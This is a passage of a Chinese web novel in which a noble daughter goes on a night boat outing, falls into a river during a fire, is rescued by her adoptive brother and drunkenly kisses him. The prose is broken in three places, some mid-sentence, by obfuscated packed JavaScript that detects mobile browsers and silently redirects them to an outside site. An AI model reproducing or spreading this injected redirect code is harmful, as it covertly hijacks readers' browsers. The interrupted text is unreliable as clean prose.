谢珩心中疑惑仍未解,既是喜事,他岂会如此排斥,甚至见到高家二公子心中便不痛快。 或是沈昭并非他亲妹妹? 他细思无解,在卫青这亦寻不到答案,又因明日休沐时限到,夜间仍需当值,恹恹回了府。 翌日,街上行人如潮,长安城一派祥和热闹。 一个衣着朴素的男子掂量着手里的钱袋:“头儿,这几日活阎罗不在,咱兄弟几个可赚了不少钱。” “要不说你赚不了大的,”旁边男子轻嗤一声,嚼着嘴里的干草,“这生财之道并非只靠蛮干,就看前几天进去那几个,从早偷到晚,且不论增加风险,专在金吾卫面前混个眼熟了,不逮他们逮谁,让你们长长脑子,从来不听。” “那还得是多向您取取经不成,小弟后半辈子可就靠着您了。” 头儿将干草吐出;“要干就干笔大的,入夏后,城中那些世家公子小姐最爱游船,你想想他们家丁身上的银钱都比得过寻常百姓,人既然上了船,哪怕你当着他面偷了,他还能追来不成,只得干坐在船里着急。” 小弟连连称是,今夜就要去练手。 头儿最后指点道:“这活可就是一锤子买卖,偷得多了,人家自然有所防备,届时金吾卫插手,加强河边巡守可就不好下手了。” 小弟千恩外谢:“春风楼上好的女儿红,今夜我就送到您家去。” —— 今日并无早朝,谢珩晨练后便回左衙复职。 沈昭晨起给祖母问安,老夫人虽然因着昨日宴席受了些累,但身子骨渐渐好转,今日睡得多些,精神矍铄。 大夫来看过后,又为其换了方子称:“若老夫人能长此以往,身体定会大好。” 李立雯激动地握住她的手,谢家终是好起来了。 昨日宴会散后仍有不少琐事需交代,老夫人同沈昭亲近,李立雯也不叨扰她们二人说体己话。先一步走了。 老夫人由沈昭搀扶着下地,眉眼间的皱纹笑得更深:“我瞧着你同你兄长亲近,心中更欢喜了,珩儿一向喜怒不形于色,从不要求什么,可我也一把年纪了,有今朝没明日,眼下最大的愿望便是盼着你们兄妹二人都能早些成家,但不知珩儿可有心仪之人?” 沈昭倒吸一口凉气,庆幸是谢珩比他大,否则催婚一事不得先从她起,不过老夫人的心思倒也可以体谅,老人家谁人不盼着承欢膝下。 可她犹记得上次李立雯提过此事,谢珩当即变了脸色。 但她能体谅却并不想掺和他的私事,见老夫人心情好转,她又不好轻易伤了她的心,只道:“兄长并未同我谈过此事,祖母放宽心,他该有自己的考量,瑾儿会旁敲侧击询问下,祖母意下如何?” “好好好,”老夫人轻拉着她的手,“你对自己的事也要上心,多让你母亲帮忙相看一下,谢家的儿女不输给任何人。” 王管家派婢女通传:“老夫人,小姐,有贵客登门,还请小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不知为何,沈昭头脑中第一个冒出的便是谢珩的身影,她心中泛起一丝微不可查的酸涩,红唇泛着干涩,权当是今早梅子吃多了罢。 确是男才女貌,家世相当,一个是当朝公主,一个是皇帝的亲外甥。 不对,如此他俩岂不是近亲结婚? 不过在他们这个朝代倒好像也正常。 李玥犹豫良久开口解释:“我同你接近,只是脾性相投,我瞧着你甚是喜欢,并非利用你,”生怕沈昭误会,急得她眼眶都染了红,爱慕之人固然重要,但若让她从沈昭和其之间任选其一,她是断不会舍了沈昭的。 沈昭忍不住捏捏她的脸:“我当然知道啦,说说看,到底是哪家公子能有幸得我们公主青睐,让我帮你长长眼。” 沈昭呼吸放慢,不觉地轻咬下唇,等待着她的回答。 若真是谢珩,她当然会祝福他们二人。 李玥凑到她耳畔说:“其实我有一心仪之人,但请你务必要替我保守秘密,我只当你是挚友,并不想让他人知晓,他是...” ...... 谢珩已到左衙当值,虽然他仅负责统筹全局便可,并不需他外出值守,但他事事认真,哪怕不受约束,亦会严格按照巡值表出勤。 沈昭知他在此,在门外经由金吾卫通传后,引她入内,她让谢珩遣散左右,细细同他道来。 “不行,成何体统。” 谢珩听完她所言,严词拒了。 24. 第 24 章 沈昭压低声音,扯着他的衣角,以指尖轻触自己嘴唇:“嘘,兄长,这又不算什么大事!你整日还要当值,没人陪我玩,我找几个好友出来聚聚还不行吗?” 沈昭不过想以谢珩的名义递上拜帖,邀高家公子一同游花船罢了。 眼下祖母和母亲都热衷于催婚,若由她直接相邀,万一引起误会,早早把她嫁了,那她可亏了,只得请谢珩相助,她又答应李玥帮其保守秘密,自然不能将她的事全盘托出。 见他无动于衷,不肯开口,沈昭仍不罢休:“就当我欠你个人情如何,今夜还有花船表演,我必须请他们一起!” “你...”谢珩气急,拂袖转身,“你对高家二公子先赠以手帕,如今又主动邀约游船...” “不是母亲和祖母说,让我多同长安城里的人家相处,这可是他们的意思,你总不能忤逆尊长吧。”沈昭不想让李玥等太久,急着催促他。 两人各不退让,正僵持着。 门外值守的金吾卫来报:“将军,高家两位公子在外求见,说找谢姑娘。” 沈昭高兴地差点原地跃起,太巧了,她还正愁找不到他俩,结果他们主动来了,她头也不回:“不劳兄长费心,你好好当值,我先走一步啦~” 沈昭提裙旋身而去,只留下一缕淡淡的花果香,金镶玉的耳珰与散落的青丝纠缠,最后只留金线披帛绕过朱漆廊柱的残影。 谢珩的话哽在唇边,愣是喝了半壶凉饮都未压住喉间的苦涩。 左衙门外,高峻和高义信长身玉立,见她遥遥跑来,高峻玩笑道:“怀瑾仅一日不见,就如此思念我们么,竟跑着来迎。” 沈昭知他打趣,并未在意,只多看了高峻几眼,心中纳罕李玥怎会喜欢上这等浪荡公子,瞧着模样倒是不俗,但这嘴实在口无遮拦:“兄长可是说笑了,不知两位寻我,可有事?” 高义信上前圆场:“本是昨日应下,邀怀瑾游船,白日我们递上拜帖,贵府迟迟未回,又恰逢路过此处,听闻姑娘在内,便派人姑且一问罢了,不知怀瑾可用过晚膳,是否有空?” “有空,”沈昭眼尾上扬天然的弧度,自带几分桃花意,“不过,还有一个挚友在等我,我们四人同行可好?” “甚好甚好!”高峻合扇握于手中,他最喜热闹,多个人多一分热闹,他弟弟高义信自然也不会太过于尴尬。 直到见到李玥,高峻的心暗暗沉了几许,脸上的笑僵了一瞬,这与千娇百宠的公主同行,若是一不小心有个闪失,承天子之怒,他可担待不起。 李玥曾在宫中宴会上远远见过高峻几面,一见倾心,知他与谢珩自小交好,谢珩虽是她的表兄,但李立雯甚少进宫,他们平时并无来往,一时犯了难,直到那日在春风楼偶遇她们兄妹二人,更与沈昭一见如故。 她不便直接开口,只得委婉求着沈昭,以谢珩的名义邀高峻同行,但不料沈昭竟如此有本事,真将他二人带来了。 高峻收敛起风流举止,同高义信躬身一礼:“公主。” 公主本来心里很是欢喜,但他一句公主又霍然拉远了他们的距离,她知他颇善言谈,但为何对她却如此疏远,这样想着,扬起的嘴角不觉落了下来。 沈昭看出她的心思,用公主手中的纸扇敲着高峻的头:“往日怎么不见你如此正经,公主私服游玩,不想声张,我们都唤她玥儿便好,玥儿不在意这些礼节。” 李玥梨涡浅浅:“是啊,我可以称你们为兄长嘛,听瑾姐姐说高家公子风流俊逸,今日一见果真不凡,玥儿也很想同你们一起游船。” 高峻最受不住夸,手腕一抖,洒金扇骨“唰”地绽开,扇下的风拂动腰间的玉佩叮当作响:“玥儿慧眼识珠,这长安城还没有我高峻未经之处,听闻那一艘艘花船入夜,可漂亮极了,今日我们不妨一同去看看,若是改日得空,还可去郊外赏荷。” 李玥浅笑,尾音都带着蜜糖般的酥软:“那便一言为定。” 四人在附近共同用膳,而后同行至河边,哪怕李玥以幂篱覆面,又遣了所有侍卫回宫,只留了采薇一人在旁,这风流才子俏佳人亦吸引了不少目光。 暮色沉沉,长河如练,一艘艘花船上的灯影照在水面上,浮光荡漾,河中花船往来,河岸之上亦有三五结伴成群纳凉的百姓,好生热闹。 “哥哥,给姐姐买朵花吧。”河边一个小童手里捧着数枝鲜花,冲着来往行人,稚声叫卖。 高峻驻足,对高义信眨眨眼,示意他把握机会。 公主在旁,自然不能冷落于她,高义信掏出银子:“小姑娘,我要这两束。” 高峻无奈摇头,直接从中抢了一束,先一步递到公主面前:“这束花送给玥儿,花儿开得正盛,但不经你的眼,便辜负了这大好春光了。” 李玥羞得霎时红了脸,双手捧过:“谢谢高公子相赠。” 高峻得意得瞧着高义信,这现成的示范在此,他照着学总不会出错吧。 高义信捧着花走到沈昭面前,举至眉齐:“若蒙怀瑾不弃,可放置玉瓶观赏。” 沈昭谢过收下,她的注意力全在李玥和高峻身上,既为李玥开心,又觉高峻本性如此,只怕于她而言,并非真心相待。 高峻听罢,眼前一黑,无奈扶额。 “客官,咱们这船上备了春风楼的佳酿,桃花醉,饭菜也是刚上桌的,可上船一揽?半个时辰只要五两银子,酒菜另算。”一个船家撑着竹篙,将船停靠在岸边。 高峻大步踏上船:“先算一个时辰的,好酒好菜尽情上来。” “得嘞。” 船身轻晃,高峻先一步跳上船,努努嘴转身走进船舱,给高义信留下个眼神供他自己琢磨,高义信站在一旁,握掌成拳正犹豫着是否抬手,沈昭早一步跳上了花船,她见高义信迟迟不动,主动对他伸出手:“高公子,需要我扶你一把吗?” “谢怀瑾好意,倒是不必了。”说罢,他尴尬地提步迈上船。沈昭又拉了李玥一把,扶着她稳住身形后,缓缓入舱内。 高峻先一步吩咐好酒菜,并没有着急入座,只静候在一旁。 他亦曾随父亲在宫中宴会中,见过李玥,但宫中规矩颇多,毕竟这是第一次单独同公主私下接触,仍是小心谨慎为上,他虽不在意男女之间的礼教规矩,但毕竟是金枝玉叶的公主,冒犯不得,他暗自收敛许多。 沈昭二人入内,问向李玥:“玥儿,你想坐哪?” 李玥抬眼轻扫过高峻,随意一指临窗的位置:“这儿吧。” 待她入座后,沈昭跟随挨着她坐下,而后主动招呼高峻先座:“兄长,快坐吧。” 李玥的脸泛红,但风灯烛火经风吹起,本就明暗不定,打在她脸上只附着了一层暖色。 经此安排,高峻便正对着李玥而坐,沈昭同高义信相对。 高峻自然无意间,他巴不得促成一桩美事,又见沈昭的安排,她既也有意,他为高义信操持的心稍稍得到宽慰。 只是宫宴之中,座位排布都极为讲究,他仍开口问向李玥:“公主可介意?” 李玥只浅笑摇摇头,代表允了。四人入座后,船慢悠悠向前划动。 四人各怀心思,听着伶人弹奏,伴着轻柔的晚风,吃得尽兴,毕竟年岁相当,总有说不完的话,李玥起初还尚有些拘谨,高峻倒比之前收敛了些性子,注意言行。 待吃过晚膳后,高峻见公主虽然久居深宫,但并无太多拘束,只把她当年岁稍小的妹妹,可他心中还时时惦记着高义信的事,想为其添一把火,便提议道:“不如我们喝酒猜拳如何?” 沈昭看向公主,公主遣了侍卫回去,只留采薇在岸边等候,若是喝得醉醺醺回去,指不定要受责罚,便开口拒绝:“玥儿她可不能喝。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629104|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>高峻当然不会为难李玥,爽朗开口道:“这样,我同玥儿一队,你同义信一起,若是我们输了我便替玥儿喝,但若你们输了...你倒可以求我弟弟相助。” 他同朋友常常小聚,少不了推杯换盏,酒量不浅,以一对二自然不在话下。 高义信深觉兄长此番逾矩,何况尚有公主在,哪怕由他代喝,传出去亦不好:“兄长,不若我们以诗——” 高峻在下方一把扯住他的衣袖,示意他噤声。 正适时,沈昭亦开口:“那公主你意下如何?”她知他们自小接受最好的教育,少不了会吟诗作对,但她念书时,背书背的有阴影,可不想听他们念一晚诗,便先一步开口。 李玥眨巴着眼睛,她只听闻却从未划过拳,心中有些跃跃欲试之意:“可以,我可以浅喝一小杯。” 四人终就喝酒划拳一事达成一致,船中备了不少烈酒,也有一些果子酒,高峻对谢珩多少还有些忌惮,若真给他妹妹喝倒下了,只怕以后再相约游玩便难了,提议让她喝果子酒。 船内四人划拳喝酒谈天,推杯换盏。 但长安城另一隅,谢珩却抱剑坐立不宁。 长安城夜间巡值排班甚严,因着律法严苛,若两人换班,需由左右两名金吾卫将军共同同意,且在巡值表若无名字,便视为缺守,轻则罚俸,重则杖刑。 虽然谢珩统筹金吾卫,对他本身并无严格约束,但他会每夜巡守一百零八坊中其中一片,夜夜换守,这样依次轮换,是以金吾卫会私下算计着日子,何时同他一起值守,那日便是片刻疏忽都不敢有。 今夜谢珩值守尚清坊,尚清坊居于城内,与沈昭一行所在务本坊,隔着五十个坊市,共有五支巡守队伍。 他翻看手中值册:“今夜在务本坊值守的有几人?” 金吾卫瞧着他手中的名册,一头雾水:“属下不知,但近几日花船游湖正兴,此处人员密集,卫青将军曾说派人多加值守。” 他们心中吐槽,人多事杂,更容易出乱子,谁人不喜安安分分值守到天明,没准还可偷睡半晌。 与务本坊的热闹相反,此处人烟俱寂,家家户户都已经落了灯,唯明月相照。 谢珩将名册收起,提剑而行:“你们继续当值,我去务本坊看看。” 金吾卫一众心里暗自庆幸,又替务本坊的兄弟们捏了把汗。 谢珩一路穿行,沿着五十个街坊慢慢巡视过去,偶尔几个打瞌睡的金吾卫被旁人用手肘撞醒:“醒醒,谢将军来了!” 若非重要节庆前需要加强巡值,谢珩不会挨个街市勘查,但坊市之间相距不远,待他们私下传递信息早已不及。 待他一一走去,已过了一个时辰,及至紧邻务本坊的最后一个坊市时,他在那巡视一圈,却只见了两名金吾卫留守。 他开口:“今夜其他当值的人呢?” “谢将...将军,”没人料到他会突击而来,一时慌了手脚,其他几个弟兄早偷溜去看花船了,“务本坊缺人手,他们去那帮忙了。”情急之下只能随口编了个理由。 玄甲映着冷月,明明初夏已有几分闷热,但此刻却让这两名金吾卫如临霜雪。 谢珩脸沉了下来,若是调动三人以上,是需经他同意才可,他并未急着拆穿他的话,毕竟他们二人并未犯错。 “谢将军,属下马上,马上去把他们喊回来。“另一人见情势不对,赶紧补充。 得了应允后,提刀匆匆去寻刚才那几人。 谢珩站于一旁,河边的嬉笑声渐渐入耳,夹杂着酒壶碰撞的清脆声响,聒噪又刺耳。 他一个个坊市赶来时,已耽误了不少功夫,不知高峻一行是否还在。 思及沈昭听到高家兄弟相邀,她那双含笑的眼眸,竟头也没回地跑了。 “花船”二字如一根细针,悄无声息地扎进他的心尖。 25. 第 25 章 半柱香后 “你输啦!”沈昭举着酒杯递到高峻面前,只觉这船晃得更甚,还不忘拍拍身下船板,带着几分醉意和娇嗔,“船家,今夜是不是风大,船不够稳当呢。” 她双颊染上两朵红云,因着醉酒抬眸回首的动作都像慢了半拍,眼波流转间更添几分可人。 醉颜酡红,杏眼中盈着水光,唇边的口脂不知何故红得秾艳,原是被果子酒染得。 高义信微微垂首,不敢直视。 高峻又岂会输给她们二人。 公主拉起她的手;“瑾姐姐,我们不比啦,这果子酒虽甜,但你有些醉了。” “没有没有,玥儿你放心,我高低帮你把他喝倒。”沈昭并未完全喝醉,只是头脑昏沉,扬言要再喝。 高峻此举并非将她喝得不省人事,亦不好再劝:“船家,船上可备了醒酒汤,给这位姑娘来一碗吧。” 沈昭由李玥劝着,喝下醒酒汤,头脑仍酸胀不止,她用手轻抚着额间,眼眸中倒清明了几许。 天色不早,高义信不愿让他兄长再闹:“既然怀瑾身子不适,我们便先回去吧。” 众人默然,船家得令后慢慢划着桨往岸边靠。 岸上,一对夫妻看着有船靠近,女子说道:“那艘船宽敞,样子别致,我们去坐那艘吧。” “好,一切听夫人的。”男子拉着她的手,伸手从怀中掏钱袋。 一双粗壮的手径自从男子眼前探出,直取了他手里的钱袋,转身便跑,心里暗中咒骂,光头白日刚得了消息,这几日谢珩这活阎王不在,本想在此捞上一笔,可谁知今晚齐齐来了十多个金吾卫守在岸边,让他一时无法下手。 这方刚得了机会,发现半数之多的金吾卫被调离,性子一急,能抢一个便是一个。 卖花的小童站在这对夫妇身后,刚想上前卖花,撞见光头抢钱的一幕,惊得拿着花的手僵在半空。 光头抢过小童竹篮里的银钱,抱起小童,将她往身后一抛,欲阻拦身后追他的男子。 扑通一声,女童掉落进河中,小手在水中不停扑腾,拼命呼喊:“救命...救” “抢钱了,来人啊!”男子在身后紧追不舍。 现场登时乱做一团,周遭的行人纷纷躲闪,孩童的哭泣声、花童的呼喊声、行人的尖叫声、男子的呵斥声交织,花船中的船夫一时看着岸边的热闹出了神。 水中晃着烛影,被水波搅碎。 听到叫喊声的金吾卫从东西两个方向提刀追去。 光头见前后有人,将钱袋子塞进裤腰带仔细绑了两圈,掩住口鼻,大步一跃跳至湖里,岸上的热闹霎时蔓延至河中。 光头会些水性又并不精通,用手扒着船板,船上游人惊呼,船夫下意识拿去竹篙去打,船身反而失去平衡,水中的光亮被撕成碎片。 烛台顺着波动东倒西翻,滚落到地上,点燃船上的丝帐,火舌竟风一吹,张开大口肆意舔舐,半搜船迅速燃起。 沈昭一行听到船外的动静,起身去看,那艘“火船”正顺着风向他们飘来,船上的人四散落入水中。 “速速靠岸。”高峻吩咐道。 刚才落水的小童仍在水中挣扎,她离河中心越来越近,渐渐靠近她们的船尾,正夹在沈昭和火船中间,她的头在晃动的水面上一沉一浮,马上便看不到她头上的发髻了。 沈昭努力睁大双眸,拾起船上的竹竿,踉跄着身子向船尾跑去:“快,先救那个小童。” “怀瑾。” “瑾姐姐” 高义信和李玥齐齐出声,因着船夫卖力划船,船身摇晃不止,高义信险些摔在地上,他弓着身子往船尾跑。 高峻则拉住李玥:“公主莫慌,金吾卫在岸边。” 沈昭趴在艉台上,一手死死抓住栏杆,将身子尽量往外探,递出竹竿:“快,抓住这个。” 小童头已经落入水中,头上的木簪在湖面上时隐时现,小脑袋每次浮起都更低于前次,沈昭只得尽量将竹竿往她还在挣扎的手中递,竹竿尖端在小童指尖半尺处晃动。 刚才掉落入水的游人被就近的行人救起,偶有几个水性好的人下水欲往河中心游,但见那火船渐渐逼近,又转身游回了岸边。 火光灼灼,船舱已被烧了大半,热气扑到沈昭的脸上。 “怀瑾使不得,你退后,让我来。”高义信顾不得礼数,慌乱中扯到她身上的黄色披帛的一端,“火要烧过来了!” 那孩子似乎已经力竭,扬起的小手不再挣扎,缓缓没入水中。 沈昭当即反手扯断披帛系带,丝绸撕裂声里,她扑向艉台边缘,奋力将竹竿递到小童手中,船身却猛地剧烈倾斜,她身子一轻,竹竿脱手飞出,人也跟着落入水中。 “怀瑾!”高义信俯身上去抓,却扑了个空,浅色衣衫在火光中划出刺目的弧线,“扑通”坠入幽深的河面。 周遭慌乱的声音瞬间消失,只余水声轰然,寒意迅速将她包裹,她睁目去寻小童身影,眼前只有水色幽青,光影浮荡。 衣衫湿透,她的双脚如坠千斤,只得屏息闭气,然而口鼻皆被水波封锁,胸腔仿佛被一只无形的大手覆住,慢慢攥紧。 高义信亦不会水,他踉跄着从地上爬起,撩着衣袍准备下水,却见一道玄色身影掠过江面。 沈昭被冰冷的河水浸湿,手不自觉的上下拍打着,刚一张开嘴,河水猛得灌入口鼻,透着刺骨的寒冷。 寒光闪过,那柄飘在水面的竹竿被挑起。 “接住!握紧。”低沉的声色破开周遭喧闹。 沈昭在慌乱中摸到一根细竿,正是方才她失手飞出的那支,她像抓住救命稻草般,两只手紧紧握住,用力将头向后仰,大口喘息。 下一瞬她如一片浮叶般,被谢珩拉着竹竿破水而出,火光漫天,映着他身上的玄甲发亮,他的怀中还抱着已经陷入昏迷的小童。 一根细竹竿被他们两人各牵一头,沈昭因着身上的衣物被水浸透,身子不住地往下沉,手稍一失力便往下滑了半寸,她紧紧咬唇用尽全身力气握住。 那竹竿却被谢珩腕间发力,猛得向上抽出,接着一个有力的臂弯环住她的腰,紧贴着玄铁铠甲的一侧,她被硌得生疼,耳边是花船燃烧的噼啪声,以及岸上众人的叫好声。 他们三人齐落到岸边,小童脸色青白,谢珩不断抚拍着她的背,金吾卫在旁疏散:“闲杂人等速速离开。” 未久小童猛地咳嗽出声,惨白的小脸渐渐有了血色“哇”地哭出声,“娘...我要娘。” 围观的路人方才安心。 沈昭被他抱上岸,经冰冷的河水浸泡,比那醒酒汤管用多了,浑身的酒意退了一些,冷风一吹,湿哒哒的衣服紧贴着身子,不由得打了个冷颤。 谢珩将刚刚丢在河边的斗篷用剑扫起,扔到她头顶之上,裹了个严实。 船上,高峻拉着高义信走到船头,他们的花船渐渐靠岸。 李玥率先跑下船,直奔沈昭而来:“瑾姐姐,你没事吧。” 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633656|171504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭摇摇头,裹紧身上的斗篷:“不用担心玥儿,没事。” 此事事发突然,高峻和高义信始料不及,但终究由他们而起,高义信躬身一礼,道歉的话还未出口。 另外两名金吾卫押着刚从水里爬上岸的小贼,送至谢珩面前,小贼上岸后手搭上裤腰带,刚才偷的钱袋子早不知所踪,心都凉了半截,偷鸡不成蚀把米,如今栽了个大的。 谢珩安排车马送李玥回宫,处置了一众擅离职守的金吾卫,命人将小贼带回,清理现场,打捞落水的百姓,处理完所有事后,已过了一个时辰。 高峻知道他们闯了祸,亦不敢多留,本还有心让高义信送沈昭回府,眼下只能作罢,对沈昭再三道歉后,先一步离开了,围观的众人也渐渐散了。 沈昭坐在一旁的石凳上,不由得打了几个喷嚏。 谢珩交代完后,迈着步子向她而来,她看见他遥遥相望的眼睛,不由得又扯紧身上的衣袍,他眼眸生得极好看,黑润润的眸子像一汪深潭,平日不笑时正襟肃然,但笑起来又像被春风吹皱的水面,扬起层层涟漪,干净又清澈。 但此刻,她从他眼眸中,看不出情绪,他虽漆眸深深,但却不似往日的冷峻,而是一种她从未见过的情绪,倒比方才水中燃着的花船还要灼人。 沈昭身上残存着浓浓的酒气,经风吹拂,丝丝缕缕扑面而来,还不等她开口解释,便被他一把攥住手腕,拽进了一旁幽暗的巷子里。 沈昭抬手去推,却软绵绵地使不上力,反而被谢珩一把摁在青砖墙上。因着酒劲和刚才的惊吓反而被他的手紧紧桎梏住她的细腕,登时失了分寸。 巷子里黑的几乎辨不清人影,唯有远处河畔边的灯火漏进一线微光。 他眉峰紧蹙,眼底似压着怒意,卸了铁甲后,身上玄色衣袍被河水浸透,湿漉漉地贴在他身上,勾勒出紧绷的肩线。 “沈昭,”他嗓音低沉,“今夜若我来得再晚些,你和那个花童会如何?这条河里每年打捞起的尸体不计其数...哪怕你救人心切,但是无法保证自身安危的情形下,谈何救人? 还有高家二郎,他数次相邀,我不知你对他是否有意,但他于你颇为上心,我不会约束你结交朋友,但他带着私心,我不得不说,若将来他知道你假扮谢怀瑾入国公府,届时又会如何,你当怎样自处.....高义信为人虽不错,但是高家牵扯党争...” 他的唇瓣上下开合,说出的话被风吹散于街巷中。 印象里,谢珩好像从未说过如此多,他的话萦绕在她耳畔,她只觉头更沉了,反反复复“高家高家”,念得她更迷糊了。她醉得厉害,只觉得他语气凶得很,不由委屈地扁了扁嘴:“高家...我不过是受人之托,忠人之事罢了。” 话音未落,他忽然逼近一步,她身上的酒气在二人之间交缠,披风之下她细白的脖颈上一滴水珠顺滑而下,他眉头皱地更甚:“哪怕不提高家,你夜醉落水,若非附近金吾卫值守,若被旁人救起,衣衫不整被抱回府,你当真不在意?你的家乡习俗为何,我并不知晓,但——” 谢珩的声音戛然而止,漆眸因震惊而睁大,忽而一片温软贴上他的薄唇,将他要说出口的话尽数堵住,谢珩定在原地,果子酒的甜香完全侵入他的唇齿间。 沈昭望着他开合的唇,只觉得那两片红唇甚是恼人,喋喋不休,为何还不回家?她好冷。 酒劲上涌,一股前所未有的冲动攫住了她,在他话语间,她踮起脚尖,突然倾身向前,将自己的唇封住了他的。 26. 第 26 章 霎时间,万籁俱寂。 谢珩愣在原地,本就白净的面庞迅速染上两抹绯红。 这触感来得太急,又太轻,恍若院墙绽放的海棠花被风拂落,不经意间擦过唇畔,果子酒的甜香混着她身上淡淡的茉莉花油的气息,钻入他的鼻息,香气醉得人神思恍惚。 她唇上残留的酒液,甜中带涩,倒比他喝过的烈酒更醉人。 胸腔里似有火在烧,只觉得全身血气翻涌,耳中嗡嗡作响,似有千百只夏蝉在颅内齐鸣,他下意识后退,全身却像被点了穴位般,动弹不得。 他垂眸看见她醉眼半闭半阖,轻颤的睫毛在月光下洒下蝶翅般的影,在玉白的脸颊上投下淡青的痕,眸中潋滟的秋水隐去了三分。 眉心一点的花钿被水抹掉艳色,酒气氤氲染上她双颊,倒比妆奁里的胭脂还多了几丝秾丽,红晕自眼尾晕开,渐渐染透雪腮,衬得整张芙蓉面像浸在朦胧光晕中。 他该推开她的,可钳住她手腕的手却不觉发力,抚在她腰间的手却背叛了理智。 五指不自觉收拢,将她浅色的罗衣攥出深深的褶皱。 —— 翌日,因着昨晚河边闹得动静太大,高坤一早带着高家兄弟备厚礼登门致歉。 此时,沈昭还睡在床榻上,李立雯已派人催过一次,春宁和夏安终是狠狠心,在床榻边用力将其摇醒:“小姐,快醒醒。” 刺眼的光透过纱帐落在她脸上,沈昭不由得眯起眸子,翻了个身:“谁啊,我再睡会。” “小姐,老夫人来啦!”夏安趴到她耳畔大喊。 老夫人是谁?来就来吧。 她用手扯过一旁的锦被,腿蛮横地压在上面。 忽而猛地惊醒,她睁开眼从床上坐起,手忙脚乱:“老夫人,快!我今日还忘了去请安,现在什么时辰了?” 她的头重如铅灌,只能用手柔压着太阳穴,腿却听话地去探床榻旁的绣鞋。 春宁扶她起身:“小姐莫急,不是老夫人,是夫人来催过一次,高家两位公子在前厅候着呢。” 高家公子? 沈昭回忆着昨晚的事,她同公主和高家兄弟夜游花船,后来旁边有一只花船起火,一个花童落水,然后...是谢珩。 她的记忆闪回到逼仄的街巷,她下意识扶上自己的唇,应该是做梦吧。 但她怎会做这样的梦,谢珩虽不是他亲哥,但却是亲老板! 她摸着自己的腰,梦中那双修长的手曾紧紧圈住她,低头看了眼身上的衣服,问道:“昨夜我是怎么回府的?” “小姐,昨夜是少爷唤我们将你扶回来的,”她们二人昨夜赶到时,沈昭趴在石桌上睡得正香,披着少爷的披风,只是浑身都湿透了,就连披风都被水渍浸湿,少爷则背身在一旁守着。 回来后她醉得不省人事,两个婢女帮她沐洗、换衣。 那一定是梦了! 来不及去理清昨夜的事,她匆匆梳洗完后,又服下一碗醒酒汤,及至前厅时,高坤因着公务在身已经带着俩兄弟先回了。 沈昭低着头,与世家公子醉酒划拳,还不慎落水,她想也不敢想,老夫人和夫人该气成何样。 她大气不敢喘,缓缓上前。 老夫人高坐在上,瞧着沈昭嘴唇还泛着白,心疼道:“快上前给我看看,没着凉吧,我吩咐厨房备下姜汤,一会用过早膳再喝些,暖暖身子。” 沈昭不敢置信地抬眸,对上她慈爱的神情,不由得眼眶红了,伸着手走上前,俯身在她身前:“劳祖母惦记,是我不对,昨夜一时忘了分寸。” 老夫人念着她刚回府,不忍苛责,高峻名声在外,定是他将自己的乖孩儿带偏了,怀瑾虽然性子活泼但断不会任意随性,只不过一时盛情难却,又不敢开口拒绝罢了,满心满眼都是心疼。 谁人不曾年轻过,她不由得记起自己像瑾儿这么大时,酒量并不弱于寻常男子,只可惜如今不比当年了。 老夫人安抚沈昭半晌,临回房前不忘嘱咐李立雯:“事出有因,瑾儿不顾危险能舍身救人,是我谢家的好孩子,既然高家有意,此事切莫深究了。” “是,阿姑,您放心。”李立雯应下,但待老夫人走远后,她方才在外人面前维持的仪态瞬时崩塌,气得身子不由得发颤,随侍的婢女将她扶着坐下。 沈昭登时膝盖一软,跪在地上,老夫人同她隔代亲,但李立雯却比她严厉些,又曾是金尊玉贵的公主,哪能忍她如此此出格:“还请母亲责罚。” “你...”李立雯被气得捂住胸口,她本不想用规矩约她过甚。 自她夫君亡故、瑾儿失踪后,她便将全部心血寄托于谢珩身上。 其他孩童玩乐时,只有谢珩把自己锁在屋内,将一本本书页翻皱,小小年纪手上就因练武便附了一层薄茧,哪怕发着高热也不敢对她明说,只埋头苦练。 幼时还会撒娇伸着小手求她抱抱,但身量渐长,与她的交谈却越来越少。 因此瑾儿回府,她知她性子活泼,本不想重蹈珩儿的覆辙,可是她竟深夜醉酒,闹得满城风雨。 但幸好高家有意结亲,倒算是误打误撞成了一门喜事。 她浅叹一声:“罢了,你在外多年耽误了课业,现今回府了,就多沉下心思,学些礼仪,好生养养性子,王管家,去少爷书房拿些书给小姐看。” 此刻再去论是非对错并无意义,总归李立雯舍不得真责罚她,逞一时之气只图个短暂痛快,她拿人钱财,可是为了宽解她和老夫人,可不为着惹怒她们,看书便看书。 沈昭连声应下,春宁和夏安随王管家去秉正堂取书。 王管家有心向着她,本想选几个话本,但谢珩从不看那些杂书,只得挑挑拣拣选了几本诗册雅集着她们带走了。 